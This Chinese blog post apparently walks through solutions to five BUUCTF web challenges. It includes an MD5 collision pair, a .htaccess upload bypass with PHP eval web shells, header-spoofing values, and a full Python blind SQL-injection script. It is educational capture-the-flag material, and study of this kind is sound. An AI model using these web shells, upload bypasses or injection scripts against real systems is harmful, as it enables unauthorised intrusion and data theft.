BUUCTF__web题解合集(三)

一、前言

  • 加油。加油。加油。

二、题目

1、[MRCTF2020]Ez_bypass

  • 这题就很简单了,F12得到美观源码。

  • 审计一下,发现出flag的条件有两个,先就是get传入idgg的md5值强比较(===)相等但idgg不相等。

  • 这个很简单,上次说过的两个真实相等的md5值相等,记下来准没错。分别赋值给idgg就行。

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    
    b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    
  • 然后就是post传入的passwd 不能为数字字符串但需要== 1234567,也很简单,1234567加个字母就行,比如说1234567a 。利用的就是PHP中==弱类型比较。可以简单了解一下

  • 总结:很简单。

2、[GXYCTF2019]BabyUpload

  • 也是很简单的一题。

  • 首先上传一个php文件,提示文件名后缀不能有ph,那一般方法直接凉凉。所以想到图片马。图片马往往结合其它东西一起生效,比如说.htaccess 文件。所以尝试用它来修改解析方式,让它以PHP的形式解析图片马。

    <FilesMatch "1">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
  • 上面的作用就是把文件名含有1的文件以PHP的形式解析,比如说 1.jpg 。

  • 但上传时提示上传类型有问题,所以想到修改 MIME类型
    在这里插入图片描述

  • 所以,抓包修改。上传成功。
    在这里插入图片描述

  • 然后再上传图片马,但使用 <?php @eval($_POST['post']) ?> 作为一句话时,提示还是PHP,所以尝试用js标签替换php标签。

    <script language="php">eval($_POST['a']);</script>
    
  • 成功上传,然后也有返回上传路径,直接蚁剑连接运行虚拟终端,执行cat /flag 就成功解题。

  • 总结:也很简单的一题。

3、[MRCTF2020]你传你🐎呢

  • 原理和解题方法和上一题是一样的。也挺简单。
  • 总结:难得有几道简单题。

4、[BJDCTF 2nd]假猪套天下第一

  • 这题有点🐕。。。

  • 提示居然抓包才能看见,控制台和查看页面源码都没看见,着实狗。。。 在这里插入图片描述

  • 提示了一个 L0g1n.php 。访问,提示得99年之后才开放。抓包在cookie中发现时间参数time,直接给它换成time=9999999999999,随便,大就完事了。

  • 然后接下来就是一套的http的header请求头参数的使用。

  • 先是告诉你只能在本地访问,必然先想到

    X-Forwarded-For:127.0.0.1
    
  • 加上之后提示你不行,所以使用Client-IP或者X-Real-IP 替换它。但网上的关于header请求头参数的介绍,我都没有找到它两,其中Client-IP 更是单独搜索都没找到详细介绍。X-Forwarded-For 和 X-Real-IP 的区别?

    X-Real-IP:127.0.0.1
    
  • 继续往下,提示来自 gem-love.com,可以用Referer参数

    Referer:gem-love.com
    
  • 然后提示得用 Commodo 64 浏览器,虽然知道是 修改User-Agent 参数,但也不知道改为什么。。。全网未找到。。。告辞了。

    User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
    
  • 继续提示邮箱,用From参数设置。

    From:root@gem-love.com
    
  • 提示代理访问,用Via参数设置。

    via:y1ng.vip
    
  • 最后base64解码完成解题。
    在这里插入图片描述

  • 总结:很狗这题,首先是提示得抓包才能看到,其次关于 Commodo 64 浏览器的 User-Agent 信息找不到。关于大部分header请求头参数的介绍

5、[极客大挑战 2019]FinalSQL

  • 题目暗示的很明显了,注入点在 /search.php?id ,并且是sql盲注。
  • 再进一步测试,发现id=1^0回显1, id=1^1 回显 报错。确定为异或注入。异或的原理就不必多说。
  • 所以,最重要的就是写脚本了。因为不知道,flag的位置,所以只有从数据库、表、字段都爆一遍了。
  • 只需要替换下列的sql变量就行。注意空格缩进。
# -*- coding: UTF-8 -*-
import re
import requests
import string
 
url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

三、最后

  • 确实,做题能很快提高水平,但没基础你会学的很痛苦。
  • 加油,加油,加油。
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适合你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择合适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关注特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符合条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值